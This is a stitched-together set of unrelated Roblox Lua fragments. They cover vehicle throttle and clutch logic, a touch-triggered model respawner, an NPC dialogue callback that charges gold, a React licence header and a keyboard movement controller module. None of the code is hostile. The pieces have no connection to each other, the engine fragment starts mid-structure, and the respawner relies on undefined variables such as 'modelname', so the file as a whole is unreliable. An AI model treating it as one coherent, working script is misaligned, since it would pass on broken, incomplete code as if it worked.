if script.Parent.Storage.Control.Value ~= "Controller" then script.Parent.Storage.Throttle.Throttle.Value = 1 end if script.Parent.Storage.Control.Value ~= "Controller" then if carSeat.Throttle == 1 then if autoF - 1 > autoR or clutch.Clutch.Value ~= 1 then TCount = 1 else if TCount >= 1 then TCount = 1 else if speed > 50 then TCount = TCount + 0.167 elseif speed < 20 then TCount = TCount + 0.3334 else TCount = TCount + 0.02 end end end else if TCount <= 0 then TCount = 0 else TCount = 0 end end else TCount = throttle.Throttle.Value end if currentgear.Value ~= 1 then tlR = 0 if clutch.Clutch.Value ~= 1 then if throttle.Value ~= 0 then if engine.Value > redline.Value * (1-clutch.Clutch.Value) then --------------?? WE DONT NEED A 'FOR' IN THE CLUTCH CODE engine.Value = engine.Value - 300 else engine.Value = engine.Value + (((600+decay.Value) * script.Parent.Storage.Throttle.Throttle.Value) - decay.Value) end else engine.Value = engine.Value - decay.Value end rpm.Value = engine.Value else engine.Value = rpm.Value end else tlR = tlR + 0.05 if tlR > 20 then script.Parent.Functions.Engine.Value = false first = 0.333 end engine.Value = engine.Value + (((600+decay.Value) * first) - decay.Value) if engine.Value > idle.Value*2 then first = 0 end --engine.Value = (idle.Value-decay.Value) end
--[[ local plr = game.Players.LocalPlayer local mouse = plr:GetMouse() function func() return mouse.Target end script.Parent.MOUSEPOSPARENT.MouseTarget.OnClientInvoke = func ]]
-- To make this work, simply group it with the model you want!
local modelbackup = script.Parent.Parent:FindFirstChild(modelname):clone() local trigger = script.Parent enabled = true function onTouched(hit) if enabled == true then enabled = false trigger.BrickColor = BrickColor.new("Really black") if script.Parent.Parent:FindFirstChild(modelname) ~= nil then script.Parent.Parent:FindFirstChild(modelname):Destroy() end wait(120) local modelclone = modelbackup:clone() modelclone.Parent = script.Parent.Parent modelclone:MakeJoints() wait(WaitTime) enabled = true trigger.BrickColor = BrickColor.new("Bright violet") end end script.Parent.Touched:connect(onTouched)
--edit the below function to execute code when this response is chosen OR this prompt is shown --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) plrData.Money.Gold.Value = plrData.Money.Gold.Value - 6 plrData.Character.Injuries.Trauma.Value = false end
--!strict -- upstream: https://github.com/facebook/react/blob/607148673b3156d051d1fed17cd49e83698dce54/packages/react/src/ReactSharedInternals.js --[[* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. ]]
--[[ The Module ]]
-- local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController")) local Keyboard = setmetatable({}, BaseCharacterController) Keyboard.__index = Keyboard function Keyboard.new(CONTROL_ACTION_PRIORITY) local self = setmetatable(BaseCharacterController.new(), Keyboard) self.CONTROL_ACTION_PRIORITY = CONTROL_ACTION_PRIORITY self.textFocusReleasedConn = nil self.textFocusGainedConn = nil self.windowFocusReleasedConn = nil self.forwardValue = 0 self.backwardValue = 0 self.leftValue = 0 self.rightValue = 0 self.jumpEnabled = true return self end function Keyboard:Enable(enable) if not UserInputService.KeyboardEnabled then return false end if enable == self.enabled then -- Module is already in the state being requested. True is returned here since the module will be in the state -- expected by the code that follows the Enable() call. This makes more sense than returning false to indicate -- no action was necessary. False indicates failure to be in requested/expected state. return true end self.forwardValue = 0 self.backwardValue = 0 self.leftValue = 0 self.rightValue = 0 self.moveVector = ZERO_VECTOR3 self.jumpRequested = false self:UpdateJump() if enable then self:BindContextActions() self:ConnectFocusEventListeners() else self:UnbindContextActions() self:DisconnectFocusEventListeners() end self.enabled = enable return true end function Keyboard:UpdateMovement(inputState) if inputState == Enum.UserInputState.Cancel then self.moveVector = ZERO_VECTOR3 else self.moveVector = Vector3.new(self.leftValue + self.rightValue, 0, self.forwardValue + self.backwardValue) end end function Keyboard:UpdateJump() self.isJumping = self.jumpRequested end function Keyboard:BindContextActions() -- Note: In the previous version of this code, the movement values were not zeroed-out on UserInputState. Cancel, now they are, -- which fixes them from getting stuck on. -- We return ContextActionResult.Pass here for legacy reasons. -- Many games rely on gameProcessedEvent being false on UserInputService.InputBegan for these control actions. local handleMoveForward = function(actionName, inputState, inputObject) self.forwardValue = (inputState == Enum.UserInputState.Begin) and -1 or 0 self:UpdateMovement(inputState) return Enum.ContextActionResult.Pass end local handleMoveBackward = function(actionName, inputState, inputObject) self.backwardValue = (inputState == Enum.UserInputState.Begin) and 1 or 0 self:UpdateMovement(inputState) return Enum.ContextActionResult.Pass end local handleMoveLeft = function(actionName, inputState, inputObject) self.leftValue = (inputState == Enum.UserInputState.Begin) and -1 or 0 self:UpdateMovement(inputState) return Enum.ContextActionResult.Pass end local handleMoveRight = function(actionName, inputState, inputObject) self.rightValue = (inputState == Enum.UserInputState.Begin) and 1 or 0 self:UpdateMovement(inputState) return Enum.ContextActionResult.Pass end local handleJumpAction = function(actionName, inputState, inputObject) self.jumpRequested = self.jumpEnabled and (inputState == Enum.UserInputState.Begin) self:UpdateJump() return Enum.ContextActionResult.Pass end -- TODO: Revert to KeyCode bindings so that in the future the abstraction layer from actual keys to -- movement direction is done in Lua ContextActionService:BindActionAtPriority("moveForwardAction", handleMoveForward, false, self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterForward) ContextActionService:BindActionAtPriority("moveBackwardAction", handleMoveBackward, false, self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterBackward) ContextActionService:BindActionAtPriority("moveLeftAction", handleMoveLeft, false, self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterLeft) ContextActionService:BindActionAtPriority("moveRightAction", handleMoveRight, false, self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterRight) ContextActionService:BindActionAtPriority("jumpAction", handleJumpAction, false, self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterJump) end function Keyboard:UnbindContextActions() ContextActionService:UnbindAction("moveForwardAction") ContextActionService:UnbindAction("moveBackwardAction") ContextActionService:UnbindAction("moveLeftAction") ContextActionService:UnbindAction("moveRightAction") ContextActionService:UnbindAction("jumpAction") end function Keyboard:ConnectFocusEventListeners() local function onFocusReleased() self.moveVector = ZERO_VECTOR3 self.forwardValue = 0 self.backwardValue = 0 self.leftValue = 0 self.rightValue = 0 self.jumpRequested = false self:UpdateJump() end local function onTextFocusGained(textboxFocused) self.jumpRequested = false self:UpdateJump() end self.textFocusReleasedConn = UserInputService.TextBoxFocusReleased:Connect(onFocusReleased) self.textFocusGainedConn = UserInputService.TextBoxFocused:Connect(onTextFocusGained) self.windowFocusReleasedConn = UserInputService.WindowFocused:Connect(onFocusReleased) end function Keyboard:DisconnectFocusEventListeners() if self.textFocusReleasedConn then self.textFocusReleasedConn:Disconnect() self.textFocusReleasedConn = nil end if self.textFocusGainedConn then self.textFocusGainedConn:Disconnect() self.textFocusGainedConn = nil end if self.windowFocusReleasedConn then self.windowFocusReleasedConn:Disconnect() self.windowFocusReleasedConn = nil end end return Keyboard
--These scripts are not mine, I just simply edited them.